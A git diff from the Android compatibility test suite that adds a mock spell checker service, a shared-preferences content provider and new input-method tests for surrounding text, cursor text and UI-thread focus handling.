+internal const val KEY_CONFIGURATION = "configuration"
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
new file mode 100644
index 0000000..8b04640
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mockspellchecker
+
+import android.content.ComponentName
+import android.service.textservice.SpellCheckerService
+import android.util.Log
+import android.view.textservice.SuggestionsInfo
+import android.view.textservice.TextInfo
+import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
+import com.android.cts.mockspellchecker.MockSpellCheckerProto.SuggestionRule
+import java.io.FileDescriptor
+import java.io.PrintWriter
+
+internal inline fun <T> withLog(msg: String, block: () -> T): T {
+    Log.i(TAG, msg)
+    return block()
+}
+
+/** Mock Spell checker for end-to-end tests. */
+class MockSpellChecker : SpellCheckerService() {
+
+    override fun onCreate() = withLog("MockSpellChecker.onCreate") {
+        super.onCreate()
+    }
+
+    override fun onDestroy() = withLog("MockSpellChecker.onDestroy") {
+        super.onDestroy()
+    }
+
+    override fun dump(fd: FileDescriptor?, writer: PrintWriter?, args: Array<out String>?) {
+        writer?.println("MockSpellChecker")
+    }
+
+    override fun createSession(): Session = withLog("MockSpellChecker.createSession") {
+        return MockSpellCheckerSession()
+    }
+
+    private inner class MockSpellCheckerSession : SpellCheckerService.Session() {
+
+        override fun onCreate() = withLog("MockSpellCheckerSession.onCreate") {
+        }
+
+        override fun onGetSuggestions(
+            textInfo: TextInfo?,
+            suggestionsLimit: Int
+        ): SuggestionsInfo = withLog(
+                "MockSpellCheckerSession.onGetSuggestions: ${textInfo?.text}") {
+            if (textInfo == null) return emptySuggestionsInfo()
+            val configuration = MockSpellCheckerConfiguration.parseFrom(
+                    SharedPrefsProvider.get(contentResolver, KEY_CONFIGURATION))
+            return configuration.suggestionRulesList
+                    .find { it.match == textInfo.text }
+                    ?.let { suggestionsInfo(it) }
+                    ?: emptySuggestionsInfo()
+        }
+
+        private fun suggestionsInfo(rule: SuggestionRule): SuggestionsInfo {
+            // Only use attrs in supportedAttributes
+            val attrs = rule.attributes and supportedAttributes
+            return SuggestionsInfo(attrs, rule.suggestionsList.toTypedArray())
+        }
+
+        private fun emptySuggestionsInfo() = SuggestionsInfo(0, arrayOf())
+    }
+
+    companion object {
+        @JvmStatic
+        fun getId(): String =
+                ComponentName(PACKAGE, MockSpellChecker::class.java.name).flattenToShortString()
+    }
+}
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
new file mode 100644
index 0000000..00aef45
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mockspellchecker
+
+import android.content.Context
+import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
+
+/**
+ * Client interface for {@link MockSpellChecker}.
+ *
+ * <p>This class should be used by test apps.
+ */
+class MockSpellCheckerClient(private val context: Context) : AutoCloseable {
+
+    fun updateConfiguration(configuration: MockSpellCheckerConfiguration) {
+        SharedPrefsProvider.put(
+                context.contentResolver, KEY_CONFIGURATION, configuration.toByteArray())
+    }
+
+    override fun close() {
+        SharedPrefsProvider.delete(context.contentResolver, KEY_CONFIGURATION)
+    }
+
+    companion object {
+        @JvmStatic
+        fun create(context: Context, configuration: MockSpellCheckerConfiguration):
+                MockSpellCheckerClient {
+            val client = MockSpellCheckerClient(context)
+            client.updateConfiguration(configuration)
+            return client
+        }
+    }
+}
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/SharedPrefsProvider.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/SharedPrefsProvider.kt
new file mode 100644
index 0000000..7e23885
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/SharedPrefsProvider.kt
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mockspellchecker
+
+import android.content.ContentProvider
+import android.content.ContentResolver
+import android.content.ContentValues
+import android.content.Context
+import android.database.Cursor
+import android.database.MatrixCursor
+import android.net.Uri
+import android.util.Base64
+
+private const val PREFS_FILE_NAME = "prefs.xml"
+private const val COLUMN_NAME = "value"
+
+/**
+ * ContentProvider to access MockSpellChecker's shared preferences.
+ *
+ * <p>Please use the companion object methods to interact with this ContentProvider. The companion
+ * object methods can be used from other processes.
+ *
+ * <p>This class supports ByteArray value only.
+ */
+class SharedPrefsProvider : ContentProvider() {
+
+    override fun onCreate(): Boolean = withLog("SharedPrefsProvider.onCreate") { true }
+
+    override fun getType(uri: Uri): String? = null
+
+    override fun query(
+        uri: Uri,
+        projection: Array<String>?,
+        selection: String?,
+        selectionArgs: Array<String>?,
+        sortOrder: String?
+    ): Cursor? = withLog("SharedPrefsProvider.query: $uri") {
+        val context = context ?: return null
+        val prefs = getSharedPreferences(context)
+        val bytes = Base64.decode(prefs.getString(uri.path, ""), Base64.DEFAULT)
+        val cursor = MatrixCursor(arrayOf(COLUMN_NAME))
+        cursor.addRow(arrayOf(bytes))
+        return cursor
+    }
+
+    override fun insert(uri: Uri, values: ContentValues?): Uri? =
+            withLog("SharedPrefsProvider.insert: $uri") { null }
+
+    override fun update(
+        uri: Uri,
+        values: ContentValues?,
+        selection: String?,
+        selectionArgs: Array<String>?
+    ): Int = withLog("SharedPrefsProvider.update: $uri") {
+        val context = context ?: return 0
+        if (values == null) return 0
+        val prefs = getSharedPreferences(context)
+        val bytes = values.getAsByteArray(COLUMN_NAME)
+        val str = Base64.encodeToString(bytes, Base64.DEFAULT)
+        prefs.edit().putString(uri.path, str).apply()
+        return 1
+    }
+
+    override fun delete(
+        uri: Uri,
+        selection: String?,
+        selectionArgs: Array<String>?
+    ): Int = withLog("SharedPrefsProvider.delete: $uri") {
+        val context = context ?: return 0
+        val prefs = getSharedPreferences(context)
+        prefs.edit().remove(uri.path).apply()
+        return 1
+    }
+
+    private fun getSharedPreferences(context: Context) =
+        context.getSharedPreferences(PREFS_FILE_NAME, Context.MODE_PRIVATE)
+
+    companion object {
+        /** Returns the data for the key. */
+        fun get(resolver: ContentResolver, key: String): ByteArray {
+            val cursor = resolver.query(uriFor(key), arrayOf(COLUMN_NAME), null, null)
+            return if (cursor != null && cursor.moveToNext()) {
+                cursor.getBlob(0)
+            } else {
+                ByteArray(0)
+            }
+        }
+
+        /** Stores the data for the key. */
+        fun put(resolver: ContentResolver, key: String, value: ByteArray) {
+            val values = ContentValues()
+            values.put(COLUMN_NAME, value)
+            resolver.update(uriFor(key), values, null)
+        }
+
+        /** Deletes the data for the key. */
+        fun delete(resolver: ContentResolver, key: String) {
+            resolver.delete(uriFor(key), null)
+        }
+
+        private fun uriFor(key: String): Uri = Uri.parse("content://$AUTHORITY/$key")
+    }
+}
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/mockspellchecker.proto b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/mockspellchecker.proto
new file mode 100644
index 0000000..58b127f
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/mockspellchecker.proto
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+syntax = "proto2";
+
+package com.android.cts.mockspellchecker;
+
+option java_outer_classname = "MockSpellCheckerProto";
+
+// Represents a suggestion rule.
+// If the string matches 'match', SuggestionsInfo with attributes and suggestions are appended.
+message SuggestionRule {
+  optional string match = 1;
+  optional int32 attributes = 2;
+  repeated string suggestions = 3;
+}
+
+// Represents a MockSpellChecker configuration.
+message MockSpellCheckerConfiguration {
+  repeated SuggestionRule suggestion_rules = 1;
+};
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
index f59ca42..f3bd570 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.testng.Assert.expectThrows;
 
 import android.content.ClipDescription;
 import android.net.Uri;
@@ -38,6 +39,7 @@
 import android.view.inputmethod.ExtractedTextRequest;
 import android.view.inputmethod.InputContentInfo;
 import android.view.inputmethod.InputMethodManager;
+import android.view.inputmethod.SurroundingText;
 import android.view.inputmethod.cts.util.InputConnectionTestUtils;
 
 import androidx.test.filters.MediumTest;
@@ -487,4 +489,131 @@
         // Should not crash.
         connection.getSelectedText(0);
     }
+
+    @Test
+    public void testGetSurroundingText_hasTextBeforeSelection() {
+        // 123456789|
+        final CharSequence source = InputConnectionTestUtils.formatString("123456789[]");
+        final BaseInputConnection connection = createConnectionWithSelection(source);
+
+        // 9|
+        SurroundingText surroundingText1 = connection.getSurroundingText(1, 1, 0);
+        assertEquals("9", surroundingText1.getText().toString());
+        assertEquals(1, surroundingText1.getSelectionEnd());
+        assertEquals(1, surroundingText1.getSelectionEnd());
+        assertEquals(8, surroundingText1.getOffset());
+
+        // 123456789|
+        SurroundingText surroundingText2 = connection.getSurroundingText(10, 1, 0);
+        assertEquals("123456789", surroundingText2.getText().toString());
+        assertEquals(9, surroundingText2.getSelectionStart());
+        assertEquals(9, surroundingText2.getSelectionEnd());
+        assertEquals(0, surroundingText2.getOffset());
+
+        // |
+        SurroundingText surroundingText3 = connection.getSurroundingText(0, 10,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("", surroundingText3.getText().toString());
+        assertEquals(0, surroundingText3.getSelectionStart());
+        assertEquals(0, surroundingText3.getSelectionEnd());
+        assertEquals(9, surroundingText3.getOffset());
+    }
+
+    @Test
+    public void testGetSurroundingText_hasTextAfterSelection() {
+        // |123456789
+        final CharSequence source = InputConnectionTestUtils.formatString("[]123456789");
+        final BaseInputConnection connection = createConnectionWithSelection(source);
+
+        // |1
+        SurroundingText surroundingText1 = connection.getSurroundingText(1, 1,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("1", surroundingText1.getText().toString());
+        assertEquals(0, surroundingText1.getSelectionStart());
+        assertEquals(0, surroundingText1.getSelectionEnd());
+        assertEquals(0, surroundingText1.getOffset());
+
+        // |
+        SurroundingText surroundingText2 = connection.getSurroundingText(10, 1, 0);
+        assertEquals("1", surroundingText2.getText().toString());
+        assertEquals(0, surroundingText2.getSelectionStart());
+        assertEquals(0, surroundingText2.getSelectionEnd());
+        assertEquals(0, surroundingText2.getOffset());
+
+        // |123456789
+        SurroundingText surroundingText3 = connection.getSurroundingText(0, 10, 0);
+        assertEquals("123456789", surroundingText3.getText().toString());
+        assertEquals(0, surroundingText3.getSelectionStart());
+        assertEquals(0, surroundingText3.getSelectionEnd());
+        assertEquals(0, surroundingText3.getOffset());
+    }
+
+    @Test
+    public void testGetSurroundingText_hasSelection() {
+        // 123|45|6789
+        final CharSequence source = InputConnectionTestUtils.formatString("123[45]6789");
+        final BaseInputConnection connection = createConnectionWithSelection(source);
+
+        // 3|45|6
+        SurroundingText surroundingText1 = connection.getSurroundingText(1, 1, 0);
+        assertEquals("3456", surroundingText1.getText().toString());
+        assertEquals(1, surroundingText1.getSelectionStart());
+        assertEquals(3, surroundingText1.getSelectionEnd());
+        assertEquals(2, surroundingText1.getOffset());
+
+        // 123|45|6
+        SurroundingText surroundingText2 = connection.getSurroundingText(10, 1,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("123456", surroundingText2.getText().toString());
+        assertEquals(3, surroundingText2.getSelectionStart());
+        assertEquals(5, surroundingText2.getSelectionEnd());
+        assertEquals(0, surroundingText2.getOffset());
+
+        // |45|6789
+        SurroundingText surroundingText3 = connection.getSurroundingText(0, 10, 0);
+        assertEquals("456789", surroundingText3.getText().toString());
+        assertEquals(0, surroundingText3.getSelectionStart());
+        assertEquals(2, surroundingText3.getSelectionEnd());
+        assertEquals(3, surroundingText3.getOffset());
+
+        // 123|45|6789
+        SurroundingText surroundingText4 = connection.getSurroundingText(10, 10,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("123456789", surroundingText4.getText().toString());
+        assertEquals(3, surroundingText4.getSelectionStart());
+        assertEquals(5, surroundingText4.getSelectionEnd());
+        assertEquals(0, surroundingText4.getOffset());
+
+        // |45|
+        SurroundingText surroundingText5 = connection.getSurroundingText(0, 0,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("45", surroundingText5.getText().toString());
+        assertEquals(0, surroundingText5.getSelectionStart());
+        assertEquals(2, surroundingText5.getSelectionEnd());
+        assertEquals(3, surroundingText5.getOffset());
+    }
+
+    @Test
+    public void testInvalidGetTextBeforeOrAfterCursorRequest() {
+        final CharSequence source = InputConnectionTestUtils.formatString("hello[]");
+        final BaseInputConnection connection = createConnectionWithSelection(source);
+
+        // getTextBeforeCursor
+        assertEquals("", connection.getTextBeforeCursor(0, 0).toString());
+        assertEquals("", connection.getTextBeforeCursor(
+                0, BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        assertEquals("hello", connection.getTextBeforeCursor(10, 0).toString());
+        assertEquals("hello", connection.getTextBeforeCursor(
+                100, BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        expectThrows(IllegalArgumentException.class, ()-> connection.getTextBeforeCursor(-1, 0));
+
+        // getTextAfterCursor
+        assertEquals("", connection.getTextAfterCursor(0, 0).toString());
+        assertEquals("", connection.getTextAfterCursor(
+                0, BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        assertEquals("", connection.getTextAfterCursor(100, 0).toString());
+        assertEquals("", connection.getTextAfterCursor(
+                100, BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        expectThrows(IllegalArgumentException.class, ()-> connection.getTextAfterCursor(-1, 0));
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
index 0492189..69c4111 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -31,6 +32,7 @@
 import android.util.StringBuilderPrinter;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputConnection;
+import android.view.inputmethod.SurroundingText;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
@@ -91,7 +93,7 @@
         assertEquals(info.inputType, targetInfo.inputType);
         assertEquals(info.packageName, targetInfo.packageName);
         assertEquals(info.privateImeOptions, targetInfo.privateImeOptions);
-        assertTrue(TextUtils.equals(testInitialText, concateInitialSurroundingText(targetInfo)));
+        assertTrue(TextUtils.equals(testInitialText, concatInitialSurroundingText(targetInfo)));
         assertEquals(info.hintText.toString(), targetInfo.hintText.toString());
         assertEquals(info.actionLabel.toString(), targetInfo.actionLabel.toString());
         assertEquals(info.label.toString(), targetInfo.label.toString());
@@ -147,7 +149,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
 
         // Web password type
         info.inputType = (EditorInfo.TYPE_CLASS_TEXT | EditorInfo.TYPE_TEXT_VARIATION_WEB_PASSWORD);
@@ -157,7 +160,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
 
         // Number password type
         info.inputType = (EditorInfo.TYPE_CLASS_NUMBER | EditorInfo.TYPE_NUMBER_VARIATION_PASSWORD);
@@ -167,7 +171,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
     }
 
     @Test
@@ -179,11 +184,13 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 0;
         final int expectedTextAfterCursorLength = testText.length() - selLength;
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
@@ -195,11 +202,13 @@
         info.initialSelEnd = testText.length();
         final int expectedTextBeforeCursorLength = testText.length() - selLength;
         final int expectedTextAfterCursorLength = 0;
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
@@ -211,15 +220,17 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 0;
         final int expectedTextAfterCursorLength = testText.length();
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
-    public void testInitialSurroundingText_overSizedSeleciton_keepsBeforeAfterTextValid() {
+    public void testInitialSurroundingText_overSizedSelection_keepsBeforeAfterTextValid() {
         final EditorInfo info = new EditorInfo();
         final CharSequence testText = createTestText(OVER_SIZED_TEXT_LENGTH);
         final int selLength = OVER_SIZED_TEXT_LENGTH - 2;
@@ -227,11 +238,21 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 1;
         final int expectedTextAfterCursorLength = 1;
+        final int offset = info.initialSelStart - expectedTextBeforeCursorLength;
+        final CharSequence beforeCursor = testText.subSequence(offset,
+                offset + expectedTextBeforeCursorLength);
+        final CharSequence afterCursor = testText.subSequence(info.initialSelEnd,
+                testText.length());
+        final CharSequence surroundingText = TextUtils.concat(beforeCursor, afterCursor);
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(surroundingText, info.initialSelStart, info.initialSelStart, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength,
-                /* expectSelectionLength= */null, expectedTextAfterCursorLength);
+                /* expectSelectionLength= */null, expectedTextAfterCursorLength,
+                expectedSurroundingText);
+
     }
 
     @Test
@@ -250,6 +271,12 @@
         final CharSequence expectedTextAfterCursor = createExpectedText(
                 info.initialSelEnd - prefixString.length(),
                 originalText.length() - info.initialSelEnd);
+        final SurroundingText expectedSurroundingText = new SurroundingText(
+                TextUtils.concat(expectedTextBeforeCursor, expectedSelectedText,
+                        expectedTextAfterCursor),
+                info.initialSelStart - prefixString.length(),
+                info.initialSelStart - prefixString.length() + selLength,
+                prefixString.length());
 
         info.setInitialSurroundingSubText(subText, prefixString.length());
 
@@ -261,11 +288,21 @@
         assertTrue(TextUtils.equals(expectedTextAfterCursor,
                 info.getInitialTextAfterCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES)));
+        SurroundingText surroundingText = info.getInitialSurroundingText(
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                InputConnection.GET_TEXT_WITH_STYLES);
+        assertNotNull(surroundingText);
+        assertTrue(TextUtils.equals(expectedSurroundingText.getText(), surroundingText.getText()));
+        assertEquals(expectedSurroundingText.getSelectionStart(),
+                surroundingText.getSelectionStart());
+        assertEquals(expectedSurroundingText.getSelectionEnd(), surroundingText.getSelectionEnd());
     }
 
     private static void assertExpectedTextLength(EditorInfo editorInfo,
             Integer expectBeforeCursorLength, Integer expectSelectionLength,
-            Integer expectAfterCursorLength) {
+            Integer expectAfterCursorLength,
+            SurroundingText expectSurroundingText) {
         final CharSequence textBeforeCursor =
                 editorInfo.getInitialTextBeforeCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES);
@@ -274,6 +311,10 @@
         final CharSequence textAfterCursor =
                 editorInfo.getInitialTextAfterCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES);
+        final SurroundingText surroundingText = editorInfo.getInitialSurroundingText(
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                InputConnection.GET_TEXT_WITH_STYLES);
 
         if (expectBeforeCursorLength == null) {
             assertNull(textBeforeCursor);
@@ -292,6 +333,18 @@
         } else {
             assertEquals(expectAfterCursorLength.intValue(), textAfterCursor.length());
         }
+
+        if (expectSurroundingText == null) {
+            assertNull(surroundingText);
+        } else {
+            assertTrue(TextUtils.equals(
+                    expectSurroundingText.getText(), surroundingText.getText()));
+            assertEquals(expectSurroundingText.getSelectionStart(),
+                    surroundingText.getSelectionStart());
+            assertEquals(expectSurroundingText.getSelectionEnd(),
+                    surroundingText.getSelectionEnd());
+            assertEquals(expectSurroundingText.getOffset(), surroundingText.getOffset());
+        }
     }
 
     private static CharSequence createTestText(int size) {
@@ -310,7 +363,7 @@
         return builder;
     }
 
-    private static CharSequence concateInitialSurroundingText(EditorInfo info) {
+    private static CharSequence concatInitialSurroundingText(EditorInfo info) {
         final CharSequence textBeforeCursor =
                 nullToEmpty(info.getInitialTextBeforeCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES));
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 753d63c..116e8a9 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -78,6 +78,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -87,6 +88,7 @@
 @RunWith(AndroidJUnit4.class)
 public class FocusHandlingTest extends EndToEndImeTestBase {
     static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    static final long EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
     static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
 
     @Rule
@@ -632,6 +634,31 @@
         }
     }
 
+    @AppModeFull(reason = "Instant apps cannot hold android.permission.SYSTEM_ALERT_WINDOW")
+    @Test
+    public void testOnCheckIsTextEditorRunOnUIThread() throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final CountDownLatch uiThreadSignal = new CountDownLatch(1);
+        try (CloseOnce session = CloseOnce.of(new ServiceSession(instrumentation.getContext()))) {
+            final AtomicBoolean popupTextHasWindowFocus = new AtomicBoolean(false);
+
+            // Create a popupTextView which from Service with different UI thread and set a
+            // countDownLatch to verify onCheckIsTextEditor run on UI thread.
+            final ServiceSession serviceSession = (ServiceSession) session.mAutoCloseable;
+            serviceSession.getService().setUiThreadSignal(uiThreadSignal);
+            final EditText popupTextView = serviceSession.getService().getPopupTextView(
+                    popupTextHasWindowFocus);
+            assertTrue(popupTextView.getHandler().getLooper()
+                    != serviceSession.getService().getMainLooper());
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, popupTextView);
+
+            // Wait until the UI thread countDownLatch reach to 0 or timeout
+            assertTrue(uiThreadSignal.await(EXPECT_TIMEOUT, TimeUnit.MILLISECONDS));
+        }
+    }
+
     private static class ServiceSession implements ServiceConnection, AutoCloseable {
         private final Context mContext;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
index dd8d070..30300f7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
@@ -211,7 +211,7 @@
     }
 
     private int getBottomOfWindow(View decorView) {
-        int viewPos[] = new int[2];
+        final int[] viewPos = new int[2];
         decorView.getLocationOnScreen(viewPos);
         return decorView.getHeight() + viewPos[1];
     }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index d104450..033a471 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -18,9 +18,12 @@
 
 import static android.content.Intent.ACTION_CLOSE_SYSTEM_DIALOGS;
 import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeVisible;
 
@@ -32,8 +35,8 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.content.Context;
 import android.content.Intent;
+import android.graphics.Color;
 import android.graphics.PixelFormat;
 import android.graphics.Point;
 import android.os.SystemClock;
@@ -42,7 +45,6 @@
 import android.view.Gravity;
 import android.view.View;
 import android.view.WindowInsets;
-import android.view.WindowInsetsController;
 import android.view.WindowManager;
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
@@ -54,6 +56,9 @@
 import android.widget.TextView;
 
 import androidx.annotation.NonNull;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
@@ -61,15 +66,10 @@
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
-import androidx.test.filters.MediumTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.Arrays;
 import java.util.concurrent.TimeUnit;
